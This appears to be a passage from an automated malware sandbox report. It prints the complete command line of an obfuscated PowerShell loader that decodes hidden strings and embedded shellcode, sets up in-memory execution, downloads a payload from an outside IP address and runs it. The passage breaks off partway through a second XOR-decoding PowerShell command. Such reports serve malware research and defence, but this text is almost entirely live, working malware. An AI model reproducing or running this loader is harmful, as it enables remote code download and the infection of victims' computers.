Un5Aar1fac8Gen1 Se1 Ud1ForC re1Sys5 Ca1fla8Dra5 IsACur3 Gr3Ren1Ton1Vin0Sma0Off3Kna9Kab1Gul1Spr0 St0Phy1BroC Un1 OvB fo1Prp0 Fi5BssC Te5 Br0Ski3Bla6Fun1Ani5Chy1Sch1Bor0 Ba0Aph0 PhE No1NonAUnd1 Im1 Mi4Deg1Dis5 CaD Be5memDAlt5 PaA ek3UfoD Ld1 AcA Re0Sol2Vit1FilBTor1HerF Dm1Coa1Tom5 brC Et5Sco0Tos1FakA St0 Al1Opf1Asr8 fu1 La8Vas5Unn8Sim5Coa4 Im3 Ta4 ta5 BeC un5 Li0Unp2 Fo4Bfs0Mac1Hjr0For6 Ap1 Ly1 Be5 FoD Ve5 AtDKir5OveDGev5 BrD Tr5Cod8Muz5Tho4Ike5Vas0 Ah2 Un7pup0Mun0Kai1Pug5Sle1 Me8 Gi1Vld0Sol1 Po2Saw1 PeBSoc1 lr0 Re0Dyb6 Bu1Spo1Taj5BotDCle5SpeDMis' un;Cis& Ud(Spi`$SleH BauAlas afakla7Pub) Be Ryg`$ddsU StdToob Ufy LgdSiueAblr Bas Mu1Ove; Wa}DisfBaluRhon VacanttResiHasoSignMbe haGKroDCoeTmen Ans{ PsPBeraHusr RoaDismBlo Ye( Ud[SafP Faa inr RyaNymmGareAtrtAfveSherKae( saPForo TisSaviNegtHoriTesoInknSem Keb=Dia cyk0 En, Be TreMPyraOvenInddDuka Stt Sto Var ChyInv Afk= Tr Bl`$posTRecrDatuTakeLae) Br]Epi Mon[ ClTGiryGenp TaeLin[ Lg] Af]God fl`$BowG Ral BioAzirHaviSpr, Ir[PeaPPhoa Aer Spa SemKure FjtLaveLitrTur(FalPReaoMemsMigichotNeoi Opo Aun Br uda=Bru Hap1 Un) Fa]Opg Tw[ HeT Bey ElpCone Vo]Tou Re`$ AmK Kkl DieHigmCoea BytFori plssmisAnte An2 Sn0 In4Pla Lbe=Rha dom[UdkVLekoNoniRumd Ir]Tri) Ha; An`$AncUNysdDefbSkry MudAute tir SnsSti2Tri Taa=Rab PreP Boo Amc BahFokeTre1Rin1 Gi bk'Fut5 Fo0For3ConF Ly0 di2 Ru1FlyB Un0Ent0Ple1 Hu5Ino1StiBFor0 Fo6Mal1Act0 Un5Pla4Dir4 Tr9 Sk5Met4aab2PaaFTra3 Mo5 Fo0Skv4Per0Ban4 re3 In0 St1JakB vi1 Ca9 Fl1Slg5Suf1SlgDBat1 skAGol2Val9 Fu4TouESko4 SyE Co3 Ka7 Er0Pro1Opr0 Fi6 Be0 Do6Pro1 Ob1 Rh1SorAVau0Com0 St3 Pr0 So1 IdBHaa1Bec9Hoe1unp5 Sy1revD Th1 BeAmet5HemA Ac3bit0 Fd1 Fo1 Pr1Pae2pre1 LoD Do1OpaA Sk1Flo1Til3 Br0Gen0SubD Mu1NucAAte1Pet5Usl1 vi9 Qu1 UnD He1 as7 Ne3 We5For0 Ka7 Tr0Spl7Soc1 Is1 Ap1Pll9Dia1Cyc6Uly1Out8 Op0 LaD Ch5BorC Id5 GyC An3ShaAeur1Sma1 Tr0 Ta3 un5Paa9 Un3IamBKoe1Pan6 Su1SekEPat1 Th1Spe1Bia7Fib0Int0Rea5Nun4Ind2Ove7 ca0 PeDNic0 Sa7 Sp0Rec0Nar1Gar1Whe1Tai9Twi5 CeASik2Dek6Nic1 An1 Op1 Ke2 Ud1 Fo8Flu1Unl1 Di1sem7Akt0 Ak0Pet1GnoDfor1marB Ap1VagAOvi5GigAVin3Qui5Hus0Gul7 ov0Ins7Mey1For1 Be1 Co9 Te1Com6Ben1 Tr8Rev0kysDMod3menA Pu1Bor5Axi1Cel9 No1 Fo1Nyt5PerCUna5Sla0 Ne3 Sa6Eur1Qui5chr1 no1 To0 Ra0Kbe0 SiESig1ForA Ro1Gui1 Ek4 OmCSki5KluDSpa5SmiDsla5 Sp8 St5Bue4Her2 AlFrnt2 On7Rap0 FeDSko0 Op7Ind0Prr0Dat1 Ap1Ans1Pho9 Wi5 LaA no2 my6Mic1Mon1Fra1Omv2Fod1 Re8Hyp1 Pa1 Ja1For7for0Kon0 Al1FasD In1UbeBBal1 SaA Le5 UfAGis3Edi1 Zo1 Om9 Tr1ForD Vi0For0Che5 BiAtes3 Ru5 Id0Pak7Van0meg7Tem1Ove1Des1Bro9Skr1Der6Sto1 Bo8Ove0TasDDic3 Ra6Ble0Pun1 Ch1KonDgen1Did8 un1Ann0Bor1Mum1Bew0mon6 Re3Cho5 Ph1Udf7Lop1Ind7Pla1 Wi1Can0 St7Udt0Nur7Blo2 In9siz4EleE Si4FjeERed2 Gl6Tan0Par1 Ci1RapAMic5FriD Cr5 FeAGen3Sam0 na1fre1Uds1Bry2Sol1AfkDUnd1undALoi1 Bi1 Re3var0 St0TinDDys1 paA re1rhi5 Di1Cis9dek1ArbDNat1Frd7Ely3Slu9 Su1tasB af1 sk0Tel0 en1Epo1Blo8 Co1 Un1Fls5IslC Vi5 Ut0 Fo3 Fr6Unf1 Af5sek1aft1Sej0Ele0Swa0BayESkr1 TrAPhy1 Fi1Aho4 BeDdim5Hol8Rap5Sub4Sul5 Sp0Bog1 Be2Smi1 Tw5Und1Fll8 Ac0Unl7Kak1 Ry1 Ud5 TrDAne5 PrA Ce3 Hu0Uds1 Om1 Bl1Bjl2Idr1LogD Me1 NoAtwe1 Ov1Roq2Aff0Sta0 BiDThu0 Em4Ter1 La1 Kr5KolCNem5 de0Byg3 FaC Ra0Win1 St0Sta7Emu1 To5 Ha4Sur4Epi5Rem8Sus5Omd4 Hy5Var0 ka3LacCAkv0 De1 Fr0udl7Hov1For5 Va4Cal5 Ku5 By8Inb5Att4For2KvaFChr2 Be7svr0HvdDAnn0Eli7 Un0Unc0 Wi1 Sk1 De1Mou9 Oc5CouALan3 Mu9ove0Mil1 Re1Ari8 Sk0Eft0Els1 NoD la1Sup7 Sa1 Ca5sta0Apo7 Dr0Gun0 De3Els0 Si1 Ex1Smu1hun8Pas1 Sk1 te1Sis3 Af1Tvi5Kon0dek0Ove1 Bl1Spo2 Me9 In5AftD De' Co;Rut&Ove( Th`$KonH WauSamsasyafro7Est)Cly Non`$BetU Lid thbAspyBlodTide Omr Riskri2Udk; St`$UncUUnndLsebFidyTredKareRadrNatsAsp3geo Un=Plu KdPfunoAzocBleh IseHak1 Ti1log As' an5Obt0gge3 obF Br0Daw2 fy1TirBMus0Sye0une1 Fe5 Mo1 HiB Un0Pro6Sup1Bil0 Ho5 EuADuc3Con0 Un1 Ln1Sci1 Ng2Pel1BruD In1SoyAUnt1Den1Ske3 fo7 Pe1 PuBFol1PytA In0Mul7Mar0 An0 Un0Gla6bim0 An1 Ko1Ove7Non0 Te0Ref1PanBAli0 Fe6 Kr5SoiCIns5Opb0Adv3Def6Uro1Yde5 Mo1 Ti1Str0 So0 Pl0VenE Ch1SilA po1dri1Med4 Th2Stu5Med8fes5opt4Bac2DisFPer2Met7 Ra0 ImDBes0 Sy7 Re0Sad0 Al1Fyg1Ind1Gue9Sha5 StA Di2Fri6Dom1Phi1 me1Udh2 Ud1 Ga8Lad1 Fu1Sup1Uds7Pho0Kvi0Bas1EulD ha1PouB De1VigA sm5 ChAFil3 cr7Stj1Luk5kon1 Ta8Mar1pre8Eup1WisD ta1 TyA Le1Pse3 Ma3 Pr7Arr1 KlB Tu1NonAste0 Pi2Non1Ski1Afg1 tyAAgo0Hya0Gar1SkoD Sp1SwaBAnt1ConALit0 Mo7Tro2 co9 Sk4 OvEkim4 OtE Gu2Int7 Bl0 st0 Fl1 Ud5 En1 BkA Ex1Men0Pro1 Mi5 Le0Chi6 Vi1 Mo0Pro5 En8Ldr5Eks4Laa5non0 Ou3Gut3 At1Mag8Hav1 DiB Ki0Fal6 Li1 PsD Ir5AarD ov5 ObA in2Ter7 In1Bhm1 Un0 Al0Daw3 AnD Na1 An9Sno0Gob4Kir1Spn8 Re1 Ov1 Sv1 Su9 Ch1Kul1syn1 JeAJer0Mar0pin1Kal5Dat0 Un0Eje1GuaDUnw1 FrB Ba1VirA Ba3Blu2Bin1Des8maj1Sta5Pik1Ste3Blu0 Di7 Fa5StaCMin5Non0Kon3Abb6 Do1Nyl5 Ko1lud1Per0bla0 Ba0SidEKvo1 UdAInt1 Gn1afs4 Ou3 cr5 taDAas' Co; Sk& Gy( De`$ ZaHCheuAmas RaaSku7Kor) Pl Hup`$ StU Ecdcanb icyErhd EaeDuprHjesRad3 Ja;Inf`$MarUMumdRimbSupyAshdParePsarUngs Ov4Pro Med=Raf EbaP Doostdc prh Cre Bl1Dok1 Mi Ch' Ru5Van0Fir3IdoF Fl0Cou2Sma1ForBHem0 Aa0 Pr1Cof5Che1MulBSpi0Ter6 Lu1 Pr0 Be5RemAFig3Red0Arc1 Ph1Mej1Smr2 un1 AnD Fo1EnfA Sk1Bar1 Ne3 Ka9Tra1 Ud1Ant0 Mo0Ana1ConC Ch1 SoBInd1Hor0 el5 AeC Dr5Res0 Ps3 AuCBot0 Li1Bar0Bor7 Sm1 Lo5Til4Obj6 Es5 Pe8 Op5Sej4 Ud5Het0Gra3 DeCBrb0 Dy1 Su0kal7Kom1 Sl5Hul4Sto7Sim5Vvs8Coa5Mik4Ine5 Du0 Az3OptF He1 Gr8Fly1Oto1Spa1 Af9Nip1Ant5Unp0 Un0 Co1TjeD Fo0Pol7Cam0 St7 Sa1 Od1 Fo4 Pa6tam4Mot4Thi4 St0Mon5 Al8Syn5Cir4 No5spi0Acr3Nuc3Tot1Chi8 Fr1SelBind0Ned6 In1 quD La5 HeDStr5MalA Bl2 ab7Spi1 De1Sty0 An0 Mr3sviDUku1Und9Nes0 rd4 Ge1Adv8For1Stu1 Al1Dip9Ass1Cos1Sni1 AcAPul0 Bi0pet1 Ba5Lao0Moo0 Pa1 AfD Ma1PerB Id1BryA Br3 Pi2Uno1 We8Roe1Scr5Mul1 Sa3 Pl0 Bl7 co5AfsCSam5Dab0 ga3ken6 Ge1Hyl5ant1Wro1 Su0Djv0 Wh0 UnERos1 UdA Un1 St1 Fu4Mol3 Un5TilD By'Reg; Ma&Una(dis`$ FoHChau HesErkaCha7Biv)Skr Afl`$IhnU Sod VibApiy EndCloe SurBevs Mi4 mi;Ces`$ TeUPardKaubtimyKildGlae Ger Kos Fl5Tau An=Heg StrPDesoCoucSprh Une Dy1 Re1Dem Ibs' Re0Ind6Bri1Gal1Lau0Kvl0Fol0 Ti1pla0Lab6Non1intACym5 Il4 Gn5 Un0Pla3PerF Af0 Bu2Uds1KnaB Ko0Syv0Tee1 Fe5 pe1SleB pr0 De6Byn1 sp0Bes5cchAUan3Did7Dyn0Bat6Tun1 De1 No1 Ap5Svi0 ra0 Sy1Spn1 Fo2Rab0sal0 LyDBlu0 Ju4 Aa1tan1Gua5AnaC Ar5 DiDHun'For;Til&Ned(Ind`$UncHremuMans Mia Ki7Vej) Ar Bol`$BucUSmedBasbOliy TodChieForrPaas Ce5 Tr Net omm Byf; Se} Ex`$ NgF PuiAghkunht Sai troCatnSpae Par Ges Ni vid= Di undPEleo Exc SkhSareRek1Pro1Gno Rod'Ass1terFSka1 Mi1 Pe0 He6Gen1pukA Fo1 Su1 Po1 Ri8 Vu4Dyp7Sex4 Sl6Ned'tir;Nie`$ boU Ahd Ekb Soy SodScueMelr unsRee6 El Uno=Abm SkPPatoProcComhcaje Sk1 No1Flu An'Eta5Mac0Cce2 Ov7 Ud0Sls4Bin1NidCAbs0 SuDTak1Zes3 Va1Orc9 Ha0 Re1Car5 Po4Ven4Sep9 Bl5 Fa4Ove2 SeFKva2Skr7 He0AmpD Cw0Smy7sta0 st0 Pr1 By1 Ty1 Vi9 Ed5 BlA Gu2Bee6 ke0 fa1Obt1 StA as0Ext0 Ba1BecDFor1for9Uun1 Ov1Ove5BloAUfo3 SkD Sl1 ReA Et0 Eb0 Ud1Rve1 Du0Enl6 sl1BinB Fr0 Sy4 Ri2Stu7 Fo1 Mi1pat0 He6Oke0 No2Til1horD Ce1Pre7Gni1pyr1Kam0Luf7 Gy5CopA Ti3Sta9Emp1 Un5 In0 Hu6 Un0Phl7shi1 DeC Al1 Ba5 Sw1 De8Rev2Una9Dol4RecEAnt4 FrE So3 Pr3Pur1Ska1Man0 Re0 Ta3 Or0Whi1bef1Deh1 Jo8Mis1 Sa1 Do1 Uk3 Ta1 Ba5Dru0 Te0Pil1Que1Bre3Aff2Sim1 ThBRet0 Da6Dis3att2Bra0Cum1 Fy1VerAKir1 Un7 En0 Ar0Ali1ForD Ro1hovBJes1knuAent2Skr4Okk1DeuBcul1LejD Ta1 ReALan0Ove0Spi1Qua1Pht0 Vi6 Cl5NonC Hy5FedC Fo1 Ha2Nev1 PrFWit0Omv4Sex5Cap4Dob5 Ba0Lus3 Un2 Br1 KaDude1 JeFAsh0 He0Sof1hetDAun1 SaBint1MedA Ud1Gge1Bra0 Sy6 Pr0Hem7Afl5 Ch4Ind5Ful0 Qu3 FiC Cy0 Un1Amy0Han7Sph1Sch5 To4 Ex0Cha5 AtDBek5 Ma8 fl5Vil4Int5BesCAzu3Cir3 De3 Se0 Pa2Hag0Opd5 Fr4 In3Por4Ryk5tidCBee2 SwFDia3AptDInd1SicAOst0 Su0Non2 Ke4Afg0Ban0Car0Ing6 Gr2Wro9 Br5Inr8 Co5Ung4Ext2 FoFBlo2Bar1Chi3 LeDGir1 SkAUnr0Sal0Vrt4 Pa7 Lo4 Be6Tag2Leu9 Be5 Up8Sto5Sne4 Re2TakFCor2 Fr1 Di3ManDLay1canAObl0 Sn0 Un4Ver7 Sv4Kaf6Pas2 fi9Pro5For8Pur5 Ek4 Ik2 LaFsle2Tic1Non3BlaDIso1 ScAScr0Und0Bal4Non7 Se4 Es6ext2 Fa9Neu5 prDDat5 Ma4Lyd5 BeCUph2FriFFre3SjoD Ka1GruA Co0Mil0Pht2ind4Key0 Dr0 Ro0 Uf6Tra2Arr9 He5RidDSup5PreD Re5RogD Tr'Res;Spg& An( Li`$ trHkoluForsSuba hy7Man)Oms dd`$ RyU Smd Myb SkyHjsdLexe Prr TrsJos6Sac;Imm`$GraSUnciUnwl ArkSgeePlakPhljSko Das=Med UnfphykSadpLar Te`$UnfHPreuStas faaAso5 ch Tjr`$ NoHHemu CasCamabin6 Fi; Pr`$ GaUOved Udb SwyBugdrece BarDris ra7 Sa Sin= We IndPExpoSctc Exh Ace Fo1 Tr1Whi fed' Pl5Boo0 Li3ImpAWin1Els5Amo0 Ma6Lev1 VeF no1EjsB Hi4 Un7Hje5fre4 Ps4Pen9 In5Lon4Mee5 Os0Har2Sem7cic0Skr4 Di1firC Ga0IndDsuc1Hum3Ace1fje9 Fa0klo1Gra5KrfA Va3 FcD Ne1ArbA Ma0 Va2Teo1RehBFej1SerF We1Flu1Bar5 axCPro2 CoFNon3 PaD Mi1 DeA Ap0sam0Tel2Oph4Qua0Arm0 Br0 No6Tex2 Sy9 ma4 RoEBli4EpiEkra2ForE Ly1Dec1 Ef0Met6Ind1 FuBSar5 Ba8Arl5Kor4Ste4Tro2 Un4 si0 Br4 Me2Slu5 Bi8Pac5Fam4 Sk4 Br4Tek0OrtCkun4Veh7Til4 Ve4 Kl4 Di4Tre4Kry4Acc5mis8 th5Rei4 pl4Ndb4 Su0LonCMis4Spe0 Gl4 Al4 Re5 InDSta' No; Je&pen(Ove`$IntH NyuComsNicaApp7Sat)Kim Ep`$NotURepdUhebVeryEledTeneBurr Ses Sy7 Ch;Skr`$infUIgndHanbAbeyProdUnheGulr CtsBre8Afh Des=Sal UnfP Yoo snctith TreAnt1tor1 De Pet'Bru5 da0 Tu3Bru7Aan1LadDBur1Pli2Pht1 gg2 Su1 Le1Vir0Afs6Cas5Bre4 Sp4 St9uaa5Apa4 in5 in0Tra2 Om7 Th0Eva4 Sy1StuC Ti0SelDKom1 Di3Aut1 Es9Teg0Fri1Bio5UdsASkv3 SaDRun1SamADis0Lot2Tol1OstB Hv1perF pr1 Ru1 Ho5PilCFus2BilF De3UncDDem1 DiA Co0Sir0Epi2 Pl4 As0 Op0 Pi0Far6 Kr2Sup9Tri4EnkE Co4 EnEAvo2MalEHam1 Ra1Vei0Eti6Erg1 InB Bo5 Sh8 Li5 Va4Ned4Ver0Rag4 FoD Af4Mos4 Te4 xe4Pat4Ove0ove4Aza1Brk4Kri0Sab4 En0 St5kor8Osc5Uni4 Kl4ove4Oth0FooCOve4okk7Int4 Vr4Out4Kap4 Ga4 Ka4 Pi5Eks8dis5Fil4Afk4Hoc4 Po0plaC Ca4Dis0 Sk5FahD Co'Min; Un& Ca( Bl`$KviH Inu Uns Bea li7 Pa)Bun Va`$kerUIntd Trb Bly Tod PaeundrVirs In8Gho; Sa`$ UnPSkioSuicThrh BoeRun0 Re1sjl Ap= Ba Par' LohSupt ImtMetp so:Dec/ Sw/Bla8Tak4 Be.Hel3Gog8Mar.Civ1Tam3Par0Kor. So1Sho6Acr5Bel/ScrT ToiKhelTatmSigeBatl VedBlo2 Ov3Pik5 Br.StrsBernunsp Ar'Arb;Anc`$InvP Sno Afc DshHose De0Lap0Dis vi=Def FeP sao SccPsyh SyeRid1 Vi1 Ri Tar'Sal5Des0 No3ind5 Ne1Emm9Lse1Brs6 Un1Amb1Ops1Ide8Bac0 Be7 Fr1Bri1Fra1Unp5Sag1Ind0 Sq1Sce3Sme5kal4Rin4Paz9 Hu5Pro4 Jo5FikC Bi3braAEnw1 La1Vae0 In3Smr5Ach9Att3MecB Fo1 di6 te1VelE Si1Rek1 In1 Fe7 Cr0Mon0Fac5Akt4Pul3 OcA Ud1Bok1Pre0Tal0Dib5 HoAFej2Sub3 Tv1Bou1Ala1Era6 mo3 Mn7 Ru1Sig8 Vi1 GnDNon1Spi1Usl1 NoA El0 ud0Bas5 KrD He5StoADow3Eft0 gr1 TiBNon0 Un3met1eleA Co1 Ef8ant1UndB Ch1Inh5Sal1 to0Evo2 Tr7Neu0Wit0 Pr0Div6Cha1 UrDArk1PrvAScu1sla3 Fo5funC In5oms0 Cr2uls4Cys1 AfB Ud1Maa7 Pa1PhoCSpi1 Bo1Gee4Afr4Hil4per5Bus5DroD Da' Ta; Sm`$ DeU AsdTrab BeyImmdEthe Phr Uns Le8 Wu Vi= sl TenPStroLevcDoghNebe Ca1Ing1Emp Tak' Tr5 Se0 st3UnsAPip1Hyr5Svi0Str6Pen1NooFRot1 RuB In4Gal6Rek4Phl9Kok5Odo0Bre1The1Str1 VaAMit0Exe2Org4 BeEJun1Mas5 Tu0 Tr4Tri0 Bo4 Ge1Gen0Jan1 re5Des0Ina0 In1Afs5Asc' St; In& Tu(Thy`$jeeHPawu VosAnlaFyl7 Tr) Br Atr`$ TwUUncd UpbNyny rad Afe RorSpes Ej8 Ov;Bre`$FolNBaiaSlur FakGroo Di2 Sp= Du`$SamN sta SurCenkDeroMei2 Fo+ Ro'Peu\Claa latUndt Bli SttSaiuCald HaiBibnSnaatan. StL Bou SpfNeu' Tu; In`$ KvAStnmDecbToae GrlLussSyseSyma Und UngPla= eu' Ud'Sil;AmtiWinfSeb ac(Eks- BenBrooAllt Sh( BoTSpreLexsKlutOpr-MamPDeaaPent Pyh Id Mi`$ caNEuna HyrJuxkprooUne2Rel) fr)Imp St{Nazw Anhstai VilplaeWig Com(Res`$ForAIndm Prb CieplalJassSuleStaaModd CogBio Fes-debebonqTas Om'Dia' St) Hj una{ Ba&Pla( Dy`$subHSneuBras HuaEth7Unm) Fl Wor`$ ScPDemochrc KohAnte Ca0 un0 Mi;KneS MitSpiaHomr SktDap-reiSNutl sae EmeSlopCan Rib5ste;For}TeoSAnteEstt Mi-BilC ReoBatn Vat une Afn Ectdad Tjh`$AnvNStda Obr BrkLomo co2Fun gu`$ HaAShomTrabSafe Gul Ens Tee Fla BidImpg Un; Fo}Ukv`$ ArAcromAutb BeeBorl BusGooeHulaFordMeng Sp Udp=Ber ChrGNeueuint st-UnmC KloinonPartSteeIngn IntUna Sim`$ OvNgloaHinrKarkpaaoRds2Dip; Dr`$ThrU NodTelbDigydugd Cre UnrDecsHyp9Pol Abu=Maa DeP Hvo PucKomhNaseTan1 nc1Pac Par' li5 ad0 wi2Glu1ref1Flu0 gr1rub6Bef0ForDind1Ker0 Ba1Scl1Uni0 An6Pep0Lej7 Ka5 Ex4 Te4Doo9 Sl5Off4 va2MytFDen2Spr7 Ch0EhlDBoo0Mon7 Vi0Tre0 Mo1Unc1 Ef1 Bi9Sko5 TaAFil3Doi7Sko1KreBEik1SolAUku0 Fo2Unc1Mis1Mag0Sod6 ba0Lac0Sas2Sof9Blo4ArcE ad4SunEund3 Lu2Bil0 ag6wai1ReaB Sa1 br9Ara3Suk6Rig1 qu5Car0Upl7 Kr1Der1Udd4Gra2 In4 Ba0Jud2tel7Dek0Che0Dry0 An6 La1 TeDWes1 WaA Yp1 Br3pre5PenCKon5Rei0Nan3 Ic5Fje1 To9Out1 Fi6 Op1Dis1 Kn1 Sl8Fan0Sco7Cat1Aft1Pan1 Hy5 Os1Pom0Dis1 Gu3Ada5 boDSam'Ven; Va&Jel( Le`$AreH louForsAnta Si7 Nn)Unc Lr`$PonUDaadHypbmesy SmdUmae HorbetsPro9 ne; Ai`$SurApsemCrab Inelinl BosFlleMasaflydSvrgNit0 Ox Afb=Lic PaaP Bao UncturhRoie Pa1Exh1Pur fl' Co2 PrFGen2Udg7Amp0 NoDPer0Acc7 fr0Kor0Fik1For1Aut1Ere9 Mo5 BrANeg2 Sk6Bar0Und1 Pr1 SaANeu0Kon0 St1 udDMan1 St9Tel1 Gn1 sk5LanAPre3 OuDxer1TavA Ch0Aut0San1Int1Osm0Tab6 He1ineBstr0 Ob4 Bl2 Ca7Ton1Tra1Frd0 Fi6Sup0Hjl2 Di1VaeDKun1Gui7 Ta1 Or1Non0Bol7bor5ejeA Fa3 Sk9 fr1 Sh5Sta0Unc6Rnk0 Cl7 ge1 FlC Da1cou5Bad1who8Sar2Fam9 Pr4DulEHem4 UnE Sk3Bra7 Ca1TabB St0Vib4 At0tanD Sl5 meC Ge5 Op0Blu2Dek1Som1All0cop1 In6 Fo0 FiDTac1Syn0 Is1Bla1ins0Gru6 Ci0 au7Vrd5 Sa8 Cl5Sti4 Sk4Cus4 Kn5 He8med5 Ov4 Pe5Inf4Ann5Enc0 Mo3 peA Se1 Sk5 Sa0 Or6 No1EngF Ta1DehBBet4Dem7 Ti5 Ub8Min5squ4Mul4Gld2str4 Ci0 Ad4Fav2 Le5AnkD Fi' Bo;His&paa( Mu`$ PrH SeuFelsRema St7 St)Akk Nym`$CriAKokmAntbQuae MelTals TueLana Jed Sag Ci0 Ic; As`$SnuA Spm Gef Beo VarEftaSubhRido Efv Ma1 Er=res`$VolU NidTrabGenyJetdHaaekorrcoisCib. Udc Feo Smu FonFortKam-Kvi6Sel4sub6 Ov; ke`$GodAOvem BeboveeKoklAndsChaePudaUnddVerg Al1 Pe Big=Aff TrPArcoIndc BrhSpiesif1Gua1ple Por'Pro2 MeFHjl2 Re7Ber0OveDAkt0Sto7Sem0Kan0Prv1Gen1gho1Cif9Bri5TriA Af2ros6 In0 Sc1 Al1DraADif0Oli0Fri1 BrDFel1Bet9Sal1 Un1 Fo5NelA Pr3BagDstu1AvoARat0For0 Ku1Rev1 Ro0 Mo6 Ho1 RoB E 0Bes4 Br2 je7Bed1Far1 Ta0Far6Bri0Unf2 De1 teDBle1liv7 Ps1Tam1Sta0oph7 Ve5 CeA Fu3Lag9Ful1Pom5Ups0Skr6Bat0Dre7Omf1 FaCDro1 Ex5Non1Ele8 Ho2Daa9 Ci4 FiE Po4DanESat3 Ne7Ove1KirB Te0 Wa4 co0OrcD Ox5HesCAux5Tes0 In2Pal1 Br1sol0Reh1Nyt6Coo0 CiDadd1For0 sh1 re1 Br0 Be6Alb0Bag7Rul5 Ha8 Ti5 Ta4Eks4non2Pon4 Mi0 Re4Ass2 ef5Skr8 Ud5Can4Spe5 Fo0Bjr3Fre7Bag1 MaDHis1Neu2The1 Ol2Tub1Oil1 Va0 Ol6 Fo5 ch8Pal5Pac4Mol5 De0 Co3Mar5 Sy1Joh9Uds1Uge2 fr1 FyBPli0blo6Ame1 Op5Mis1 HaCPol1RemB fu0 Kl2 Le4Fur5 Ma5MarD Ug'Kor; To& Su(Mil`$UndHAlluProsPoeaCar7Bew) Fr Hng`$ KnALedmFdrbMirePsel BosMileDiaa ArdKykg De1 Ud; To`$hotAAmtm SkbAmaeModlChasBajeTilaRecd Pog Fe2Una lep= Ci BurPSproUnsc NihNameMal1Mil1bas Ch' ri5 Kr0 Ki2Sge4 An0Vri6 Ka1Jaz7Svi1 Ph1lav1Spe0Eng1 Gr1 Ga1VasA Be0fix7Ove1BriC Le0GenDCho5 Sm4 Af4Gou9Ins5Sen4Ele2SofF Fo2 Bl7 Pi0 HoDTur0Mar7 al0tit0Pre1Anl1Poo1 ps9far5GueA Ul2Dem6Ait0 Pi1Not1 WiA Va0Rel0Pre1 AnDTib1Bol9 Pe1 Sh1Tra5KnuA Tr3LedDDev1DanAMer0 Va0Vid1Til1 su0 Fa6 Fr1SubB No0Imp4Bal2Ans7 Da1 Ha1 Fr0 Co6 Ha0Fra2 Do1OpnDUnv1Tre7Ant1 Pr1Ped0 Fo7 Te5 kaASto3 Ga9 St1Uns5 Te0Smr6Hng0Uni7Str1 SuC Ba1Cur5 Cr1 Am8 Un2 No9Haa4mauE Si4UntE No3 De3 Tr1Cem1Gun0 Sa0Maj3Bre0Inc1Sub1 Et1Ent8 Ak1Rod1Tro1 Su3Sem1Ast5Sal0Esc0Tyl1 Al1 Ud3Pla2 Se1manBInd0Ado6Afs3Dif2Syn0 he1 Pr1SiaA Ki1tea7Rip0Sam0Non1JerDSen1GreBGen1LegA Sc2Int4 at1 NoBSid1 MoDEli1DelAFar0pat0 La1Und1Gia0 En6For5 NyCOve5 TiC Re1Kon2bve1PokF Ma0 As4Gas5 im4 jo5Tem0 In1 Af0Tus1RecD Bi0 te7Rec1Non7 Ty1 An1 Ar0Bra6Vit1flyA Sk1 Sp5Obl5Ann4Ric5 Ln0Flu2Qui6 So1 In1Und1Rum3 Fa1 ku5 Ov5 SiDAde5Wob8 Ar5 Ba4 Re5 TrC Ca3 si3Len3 Di0 Om2Gyn0Wad5Syn4Pro3Bor4 Ch5StoCMap2ForFVrt3InsDMal1BloA Sy0 Bl0Fle2 Ma4Hof0Ove0 Se0Pol6 Hy2Ant9Igu5 Bl8 Ro5 Me4Yal2 PuFTri3 TwD Un1HarAumu0 Pa0 Ve2 Sp4 Lb0 Vi0Gil0 Em6Kir2 Fo9 In5fil8Hov5 Ty4Udk2 WoFSuf3FriD Se1BraA Sm0Tab0sky2Tel4 St0Out0por0Ver6Det2epr9Vim5Uni8 Hu5Dia4Udr2palFMad3 MeD Ra1 MeAJam0 ra0Vor2Non4Vas0Bra0stu0Hyd6Wro2 Kr9 Se5 br8 Kl5Fre4Liv2 DeFPor3ForDAkt1 boACon0Tra0kni2 Un4Pri0His0Ull0 De6Ban2 Po9 Ga5CemD Li5eul4Myr5 PhCFot2 ReFsva3 WaD Re1 kaAAkt0 In0 By2 Ud4Far0Umb0Urt0His6ana2Ill9For5 AdDGen5UndDUdv5KabDBef'Aar;Pan& Be( Fi`$ LiH pruHers Diasno7Gan) Ma er`$ ChA EsmgavbFrfeKall tusMoneActaKnedDatg Co2 Va;And`$KalANedmGoobDeseRell InsMufeOrcaFund LagDem3Blo Ir= Pr EczP Spo MacKulhSeseRaj1 Do1 Pu Ove'Vad5 Ev0 Dd2Ure4sif0 Ne6Sal1 Sp7 Di1 vd1Irw1cup0For1 Fa1 Hy1 SuARan0 Ka7 Ne1BilCSem0 SpDtal5 fiA Ja3MajDCoi1 prA Ge0Ima2 Ca1KomBUdg1NonFFor1Ile1Dyr5tvrCLsb5Ste0 Bu3 SkAIne1 Sa5 Ot0 Tr6Nye1RhiF Ep1poeBrun4Jee7Out5Cha8 Pr5Bog0 Se3Dis7Asp1 PhDRud1 Ov2Pas1Van2Kla1bor1 As0For6Ind5bel8Tra5fra0Red2Asp7Pen1 RfD Op1Bro8Upa1CouF Pr1 Pr1 An1HexF Fo1 AfE Pr5Unm8Fla4Une4Sir5Eas8Agt4Bru4 Al5 spD Ru'sol;Por&Agr(Ast`$IngH seuUndsDicaChu7Tub)Uig Mim`$ MiAincm MibGane PalSves ReeResa Red PlgCop3 Cl# As;""";Function Ambelseadg9 ([String]$kiakisque) { For($Unweari=3; $Unweari -lt $kiakisque.Length-1; $Unweari+=(3+1)){ $Poche02 = $kiakisque.Substring($Unweari, 1); $Poche = $Poche + $Poche02; } $Poche;}$posttyp0 = Ambelseadg9 ' KoI VrEskrX Kn ';$posttyp1= Ambelseadg9 $Biosate;if([IntPtr]::size -eq 8){.$env:windir\Syswow64\W*Power*\v1.0\*ll.**e $posttyp1 ;}else{&$posttyp0 $posttyp1;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Poche11 { param([String]$kiakisque); $Tetr = New-Object byte[] ($kiakisque.Length / 2); For($Unweari=0; $Unweari -lt $kiakisque.Length; $Unweari+=2){ $antydning = $kiakisque.Substring($Unweari, 2); $Tetr[$Unweari/2] = [convert]::ToByte($antydning, 16); $antydning = ($Tetr[$Unweari/2] -bxor 116); $Tetr[$Unweari/2] = $antydning; } [String][System.Text.Encoding]::ASCII.GetString($Tetr);}Set-Content 'E:\c.dat' '1';$Sitt = Get-Content 'E:\c.dat';;$Baetzne0=Poche11 '270D070011195A101818';if ($Sitt 